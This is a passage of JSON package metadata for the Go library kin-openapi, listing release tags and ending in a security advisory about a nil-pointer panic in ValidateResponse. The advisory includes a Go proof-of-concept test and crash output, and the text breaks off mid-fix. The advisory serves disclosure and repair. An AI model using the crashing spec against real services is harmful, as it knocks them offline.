ac7363248d8240343d","kind":"commit","published_at":"2020-12-08T09:11:26.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.33.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.33.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.33.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.33.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.33.0/manifests"},{"name":"v0.32.0","sha":"e8b3436bcf8d9ef0a90735b83ba23a0f651540dc","kind":"commit","published_at":"2020-11-25T22:54:36.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.32.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.32.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.32.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.32.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.32.0/manifests"},{"name":"v0.31.0","sha":"254be1228068a4d2dc5210a03e5680ff1024a3a6","kind":"commit","published_at":"2020-11-22T17:16:37.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.31.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.31.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.31.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.31.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.31.0/manifests"},{"name":"v0.30.0","sha":"da714f42fa6c62b1eead22b7545b843c24bb8644","kind":"commit","published_at":"2020-11-15T19:06:41.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.30.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.30.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.30.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.30.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.30.0/manifests"},{"name":"v0.29.0","sha":"2e4cbb269bfc6dfb39a79ffcaf671c7aa2d8951a","kind":"commit","published_at":"2020-11-14T14:12:13.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.29.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.29.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.29.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.29.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.29.0/manifests"},{"name":"v0.28.0","sha":"738fe87e5f58238a6b1a17fc3d15dbd9f8f3551f","kind":"commit","published_at":"2020-11-12T11:31:32.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.28.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.28.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.28.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.28.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.28.0/manifests"},{"name":"v0.27.0","sha":"d96b8169b6eb7b86a6e4bbed680c3e155d1692cf","kind":"commit","published_at":"2020-11-12T10:50:20.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.27.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.27.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.27.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.27.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.27.0/manifests"},{"name":"v0.26.0","sha":"fc3f90d8183b71442d5730b8e6cff877c9b93e45","kind":"commit","published_at":"2020-10-27T16:07:26.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.26.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.26.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.26.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.26.0/manifests"},{"name":"v0.25.0","sha":"25cec2f721904d8d181c7dc73c3511708f8e3d50","kind":"commit","published_at":"2020-10-26T22:21:28.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.25.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.25.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.25.0/manifests"},{"name":"v0.24.0","sha":"d9b54aff9ba984568f50998940cd22ff7e0992c2","kind":"commit","published_at":"2020-10-26T15:04:41.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.24.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.24.0/manifests"},{"name":"v0.23.0","sha":"5c863afc9e9f66c2d7974413c1a15cd08cbd5739","kind":"commit","published_at":"2020-10-21T07:57:16.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.23.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.23.0/manifests"},{"name":"v0.22.1","sha":"07f8b1819b00a31fc5f9b517a6f0a218e55a17a2","kind":"commit","published_at":"2020-09-30T10:14:40.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.22.1","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.22.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.22.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.22.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.22.1/manifests"},{"name":"v0.22.0","sha":"5f67f433f1c41577a27e893ba66c7a6d1a709207","kind":"commit","published_at":"2020-09-06T14:08:24.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.22.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.22.0/manifests"},{"name":"v0.21.0","sha":"ceae068a70e7ef3d55351ab14a261e8b9802ce46","kind":"commit","published_at":"2020-09-04T09:18:00.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.21.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.21.0/manifests"},{"name":"v0.20.0","sha":"2392e46f8ad6050d797390cb1859623f0994f710","kind":"commit","published_at":"2020-08-06T19:22:24.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.20.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.20.0/manifests"},{"name":"v0.19.0","sha":"8459893af4ad6c5efe9a42f13d685dfe52ceb91f","kind":"commit","published_at":"2020-07-17T20:11:37.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.19.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.19.0/manifests"},{"name":"v0.18.0","sha":"62affaab231f4796e160bbe0f0fad3fdd39f3779","kind":"commit","published_at":"2020-07-16T12:37:35.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.18.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.18.0/manifests"},{"name":"v0.17.0","sha":"100b968d4813c01f576526d09ef34b0c828cc0cf","kind":"commit","published_at":"2020-07-15T16:42:14.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.17.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.17.0/manifests"},{"name":"v0.16.0","sha":"45811417b788af82062146a866853aabc878c6e7","kind":"commit","published_at":"2020-07-15T07:48:06.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.16.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.16.0/manifests"},{"name":"v0.15.0","sha":"f094a75ed4ddfc55772f40fdcac845930bf4abdc","kind":"commit","published_at":"2020-07-07T08:51:41.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.15.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.15.0/manifests"},{"name":"v0.14.0","sha":"d5e00c2b17495390e499e4deef36a23dda3284d2","kind":"commit","published_at":"2020-06-17T13:01:24.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.14.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.14.0/manifests"},{"name":"v0.13.0","sha":"52172527b486de59b22791ad5404712897551d70","kind":"commit","published_at":"2020-06-15T12:54:24.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.13.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.13.0/manifests"},{"name":"v0.12.0","sha":"26e9a3787488e3608f86913af5fdee929632e3e5","kind":"commit","published_at":"2020-06-15T11:07:01.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.12.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.12.0/manifests"},{"name":"v0.11.0","sha":"a78d0f6946ecee4e41b0af787d2c95dcceed0ac9","kind":"commit","published_at":"2020-06-15T10:14:32.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.11.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.11.0/manifests"},{"name":"v0.10.0","sha":"2421d443a11015c4cf64688e918c684dfc3ff0df","kind":"commit","published_at":"2020-06-15T07:19:29.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.10.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.10.0/manifests"},{"name":"v0.9.0","sha":"eac89ece3140ca1c17bf09d47e6a3fa1d0e02b1e","kind":"commit","published_at":"2020-05-24T22:29:50.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.9.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.9.0/manifests"},{"name":"v0.8.0","sha":"0d3735e0dc49b955be31166e8bf109334c556061","kind":"commit","published_at":"2020-04-25T13:46:27.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.8.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.8.0/manifests"},{"name":"v0.7.0","sha":"6e8596576d442cfab4750ec8fd381148825eecf1","kind":"commit","published_at":"2020-04-25T10:56:29.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.7.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.7.0/manifests"},{"name":"v0.6.0","sha":"7fdd3bce2215dedb954546fdcc0cbbca5fe44e8a","kind":"commit","published_at":"2020-04-25T09:50:43.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.6.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.6.0/manifests"},{"name":"v0.5.1","sha":"5249a0b23126180dac02c758f1a0df4d50beadaa","kind":"commit","published_at":"2020-04-21T15:20:03.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.5.1","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"6f2d174b74aa4a49562968fa6a7a1b5aefa744ab","kind":"commit","published_at":"2020-04-21T12:18:45.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.5.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.5.0/manifests"},{"name":"v0.4.0","sha":"d315d71c9ba70f32110361792e7391a294544eb7","kind":"commit","published_at":"2020-04-20T17:33:16.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.4.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.4.0/manifests"},{"name":"v0.3.1","sha":"156b7ea663989fa097bcee777b98c76cf019d38c","kind":"commit","published_at":"2020-04-02T17:24:32.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.3.1","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"989d00f2a3e831bd8fa14a4c2abd17a37d684f50","kind":"commit","published_at":"2020-03-17T08:49:45.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.3.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"90a7df014b4e7699507bf82aa5601503a9ba85da","kind":"commit","published_at":"2019-05-10T11:47:33.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.2.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"db27d873292dcb033e3ce56f142dfb0ee65d55d4","kind":"commit","published_at":"2018-09-29T13:36:49.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.1.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-10-17T23:09:30.237Z","dependent_packages_count":2630,"downloads":null,"downloads_period":null,"dependent_repos_count":18476,"rankings":{"downloads":null,"dependent_repos_count":0.051353501945727124,"dependent_packages_count":0.0887015033608014,"stargazers_count":1.5441323696165707,"forks_count":1.5626523090834805,"docker_downloads_count":0.057785657744989914,"average":0.660925068350314},"purl":"pkg:golang/github.com/getkin/kin-openapi","advisories":[{"uuid":"GSA_kwCzR0hTQS03NHZtLTg3aGotcjY2Zs4AB-Ep","url":"https://github.com/advisories/GHSA-74vm-87hj-r66f","title":"kin-openapi openapi3filter: nil-pointer panic in ValidateResponse on a response header declared with content","description":"## Summary\n\n`ValidateResponse` panics on a nil pointer when a spec declares a response header with `content` instead of `schema`. `doc.Validate()` accepts that document, so the crash comes from a spec the library just called valid.\n\nSame class as GHSA-jpcw-4wr7-c3vq, which covered the request-parameter case in v0.144.0; this is the response-header path.\n\nAffects `github.com/getkin/kin-openapi` `\u003c= v0.145.0`. Reproduced on master `947498e5a6bd`, Go 1.26.\n\n## Details\n\nA `content`-typed response header has `headerRef.Value.Schema == nil`.\n\n`validate_response.go:181` passes it straight through:\n\n```go\nif decodedValue, found, err = decodeValue(dec, headerName, sm, headerRef.Value.Schema, headerRef.Value.Required); err != nil {\n```\n\nand `req_resp_decoder.go:273` is where it lands:\n\n```go\nif len(schema.Value.AllOf) \u003e 0 {\n```\n\nTwo things I checked rather than assumed. The response does not need to carry the header; declaring it is enough, and then every call for that operation panics. And the body path is fine, `:114` returns early on a nil schema, so this is headers only. The PoC keeps the body case as a control.\n\n## PoC\n\nDrop into `openapi3filter/` and run:\n\n```\ngo test ./openapi3filter/ -run NilSchema -v\n```\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"context\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers\"\n)\n\nconst specBody = `\nopenapi: 3.0.3\ninfo: {title: poc, version: \"1.0.0\"}\npaths:\n  /x:\n    get:\n      responses:\n        \"200\":\n          description: ok\n          content:\n            application/json: {}\n`\n\nconst specHeader = `\nopenapi: 3.0.3\ninfo: {title: poc, version: \"1.0.0\"}\npaths:\n  /x:\n    get:\n      responses:\n        \"200\":\n          description: ok\n          headers:\n            X-Thing:\n              content:\n                application/json: {}\n`\n\nfunc validatedInput(t *testing.T, spec string, hdr http.Header) *openapi3filter.ResponseValidationInput {\n\tt.Helper()\n\tdoc, err := openapi3.NewLoader().LoadFromData([]byte(spec))\n\tif err != nil {\n\t\tt.Fatalf(\"load: %v\", err)\n\t}\n\tif err := doc.Validate(context.Background()); err != nil {\n\t\tt.Fatalf(\"doc.Validate rejected the spec, so this repro proves nothing: %v\", err)\n\t}\n\top := doc.Paths.Find(\"/x\").Get\n\treq := httptest.NewRequest(http.MethodGet, \"/x\", nil)\n\treturn \u0026openapi3filter.ResponseValidationInput{\n\t\tRequestValidationInput: \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req,\n\t\t\tRoute:   \u0026routers.Route{Spec: doc, Operation: op, Method: http.MethodGet, Path: \"/x\"},\n\t\t},\n\t\tStatus: 200,\n\t\tHeader: hdr,\n\t\tBody:   io.NopCloser(strings.NewReader(`{}`)),\n\t}\n}\n\n// Control: body path returns early on a nil schema.\nfunc TestControl_ResponseBodyNilSchema(t *testing.T) {\n\tin := validatedInput(t, specBody, http.Header{\"Content-Type\": {\"application/json\"}})\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tt.Errorf(\"body path panicked, expected clean return: %v\", r)\n\t\t}\n\t}()\n\tif err := openapi3filter.ValidateResponse(context.Background(), in); err != nil {\n\t\tt.Errorf(\"body path returned %v, expected nil\", err)\n\t}\n}\n\n// The response does not carry X-Thing. Declaring the header is enough.\nfunc TestResponseHeaderNilSchema(t *testing.T) {\n\tin := validatedInput(t, specHeader, http.Header{\"Content-Type\": {\"application/json\"}})\n\tif err := openapi3filter.ValidateResponse(context.Background(), in); err != nil {\n\t\tt.Fatalf(\"no panic; got err = %v (already fixed?)\", err)\n\t}\n}\n```\n\nOutput:\n\n```\n=== RUN   TestControl_ResponseBodyNilSchema\n--- PASS: TestControl_ResponseBodyNilSchema (0.00s)\n=== RUN   TestResponseHeaderNilSchema\n--- FAIL: TestResponseHeaderNilSchema (0.00s)\npanic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x7f6d2a]\n\ngithub.com/getkin/kin-openapi/openapi3filter.decodeValue(...)\n\t/src/openapi3filter/req_resp_decoder.go:273 +0x4a\ngithub.com/getkin/kin-openapi/openapi3filter.validateResponseHeader(...)\n\t/src/openapi3filter/validate_response.go:181 +0x146\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateResponse(...)\n\t/src/openapi3filter/validate_response.go:89 +0xafa\n```\n\nThe `FAIL` is the point: control passes, the header case takes the binary down.\n\nRan in a container against a fresh clone of master. I have not tried it against a live proxy.\n\n## Impact\n\nA process crash instead of an error return. Declaring the header is enough, so it is every call on that operation rather than an occasional one.\n\nIf the spec comes from somewhere else -- gateways, linters, anything ingesting specs it did not write -- that is a trust boundary, and it becomes remote availability.\n\nIf it is your own spec, nothing attacker-controlled starts it, but any client reaching that route then crashes the process. It fires on every call, so normally you would see it the first time that route runs. A spec edited without exercising the route is the case where you would not. That is the difference from GHSA-jpcw, where the attacker supplied the trigger. I have left severity unset; the two cases do not score the same.\n\nOn how common it is, I checked rather than guessed. Of roughly 1,500 OpenAPI 3.x specs on apis.guru, one declares content-typed response headers -- VTEX Catalog API -- and not in one corner of it: the shape repeats across its operations, so for that consumer this is not an edge case.\n\nThe header names in it (`X-AspNet-Version`, `p3p`, a few malformed ones) look like a generator emitting `content` where it could not infer a schema, and apis.guru only indexes public specs. There is no content-typed response header in this repo's testdata either.\n\n## Workarounds\n\nUse `schema` on the response header, or skip `ValidateResponse` for those operations. `ExcludeResponseBody` will not do it -- headers are validated before that check.\n\n## Suggested fix\n\nNil-guard at the top of `decodeValue`:\n\n```go\nif schema == nil 